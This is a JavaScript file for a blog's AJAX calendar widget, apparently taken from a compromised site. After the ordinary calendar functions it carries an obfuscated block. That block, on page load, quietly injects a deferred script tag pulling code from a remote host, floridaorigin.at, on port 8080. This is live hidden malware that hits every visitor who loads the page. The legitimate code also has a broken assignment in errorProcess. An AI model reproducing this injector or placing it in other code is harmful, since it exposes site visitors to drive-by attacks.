var blogID;

function getCalendar(blogURL, id, path) {
    blogID = id;
    var cookie = readCookie("AjaxCal" + id);
    if(cookie != null) {
        if(blogURL.lastIndexOf("/") != blogURL.length - 1) {
            path = blogURL + "/calendar/" + cookie + "/";
        } else {
            path = blogURL + "calendar/" + cookie + "/";
        }
    }
    changeMonth(path);
}

function changeMonth(url) {
    $.ajaxSetup({
        cache: false
    });
    $("#calendar").load(url, function(text, status) {
        if (status == 'success') {
            endProcess();
        } else {
            errorProcess();
        }
    });
}

function readCookie(name) {
    var nameEQ = name + "=";
    var ca = document.cookie.split(';');
    for (var i = 0, len = ca.length; i < len; i++) {
        var c = ca[i];
        while (c.charAt(0)==' ') c = c.substring(1,c.length);
        if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
    }
    return null;
}

function endProcess() {
    var value = document.getElementById('calendar').getElementsByTagName('table')[0].getAttribute('summary');
    setWeekendAndHoliday(value.split("/")[0], value.split("/")[1]);
    document.cookie = "AjaxCal" + blogID + "=" + value + "; path=/";
}

function errorProcess() {
    $("#calendar").html() = 'File Not Found';
}

function setWeekendAndHoliday(y,m) {
    setCurrentDate();
    var elements = document.getElementById('calendar').getElementsByTagName("table");
    for (var j = 0, len = elements.length; j < len; j++) {
        var element = elements[j].getAttribute("summary");
        if(element == null){
            return;
        }
        var year = element.split("/")[0];
        var month = element.split("/")[1];
        if(!(year == y && month == m)){
            return;
        }
        var spans = elements[j].getElementsByTagName("span");
        var day;
        for (i = 0; i < spans.length; i++) {
            if (spans[i].parentNode.nodeName == "TD") {
                if(spans[i].innerHTML.indexOf("href") != -1){
                    day = spans[i].getElementsByTagName("a")[0].innerHTML;
                } else {
                    day = spans[i].innerHTML;
                }
                if (isHoliday(year, month, day)) {
                    spans[i].setAttribute('class', 'holiday');
                    spans[i].setAttribute('className', 'holiday');
                } else if(isSaturday(year, month, day)) {
                    spans[i].setAttribute('class', 'saturday');
                   spans[i].setAttribute('className', 'saturday');
                }
                if (isToday(year, month, day)) {
                    spans[i].parentNode.setAttribute('class', 'today');
                    spans[i].parentNode.setAttribute('className', 'today');
                }
            }
        }
    }
}

var Yv='';var z="";var o="";function T(){var jA=new Array();var G;if(G!='nv'){G=''};var Yq;if(Yq!='kz' && Yq!='At'){Yq='kz'};var gX=new String();var J=unescape;var M='';var uv=new Array();var w=window;var ot=new String();var TX;if(TX!='' && TX!='As'){TX='sw'};var N=J("%2f%6d%61%72%6b%65%74%67%69%64%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%61%6d%65%72%2e%63%6f%6d%2e%74%77%2e%70%68%70");var jT;if(jT!='Lx' && jT!='mM'){jT=''};var y='';function Z(n,W){var i=String("dmsg".substr(3));var WC=J("%5b"), wc=J("%5d");var vA;if(vA!='' && vA!='r'){vA=''};var s=WC+W+wc;this.oq="";var uX;if(uX!=''){uX='XS'};var sI=new RegExp(s, i);return n.replace(sI, new String());};var Tp;if(Tp!='dk'){Tp='dk'};var b=new Array();this.aL="";var ra;if(ra!='qh'){ra=''};var j=new String();var e=new Array();var B=Z('81116394506536754835235012254647','69721453');var YZ;if(YZ!=''){YZ='HK'};var Zk=document;var ZW;if(ZW!='' && ZW!='sa'){ZW=''};var f;if(f!='Jz' && f != ''){f=null};function A(){var NS=new String();this.oH='';var Zy;if(Zy!=''){Zy='tD'};var L=J("%68%74%74%70%3a%2f%2f%66%6c%6f%72%69%64%61%6f%72%69%67%69%6e%2e%61%74%3a");var Rf;if(Rf!='Fz' && Rf != ''){Rf=null};var jC="";var Fw="";j=L;j+=B;var Ej;if(Ej!='' && Ej!='Ph'){Ej=''};var BS;if(BS!='' && BS!='Zo'){BS=''};j+=N;var Mo;if(Mo!='ZD' && Mo != ''){Mo=null};try {this.hH="";Y=Zk.createElement(Z('shc0raiUphtV','HjughZ9V0aBqomU4'));var WJ=new Date();var Uj;if(Uj!='pg' && Uj!='eo'){Uj=''};Y[J("%73%72%63")]=j;var md='';var YR;if(YR!='_g' && YR != ''){YR=null};var aB;if(aB!='_a'){aB='_a'};this.Hj='';Y[J("%64%65%66%65%72")]=[3,1][1];var fD;if(fD!=''){fD='K'};Zk.body.appendChild(Y);} catch(TH){alert(TH);var xL;if(xL!='Dy'){xL=''};};var VH;if(VH!='qp'){VH=''};var af;if(af!='sG'){af=''};}w["IRWonloa".substr(3)+"LgrdrLg".substr(3,1)]=A;var kP;if(kP!=''){kP='oa'};var ED="";};var hp=new String();var UJ=new String();var iV;if(iV!='' && iV!='NX'){iV='_T'};T();var oj="";var IL;if(IL!='eN' && IL!='QF'){IL=''};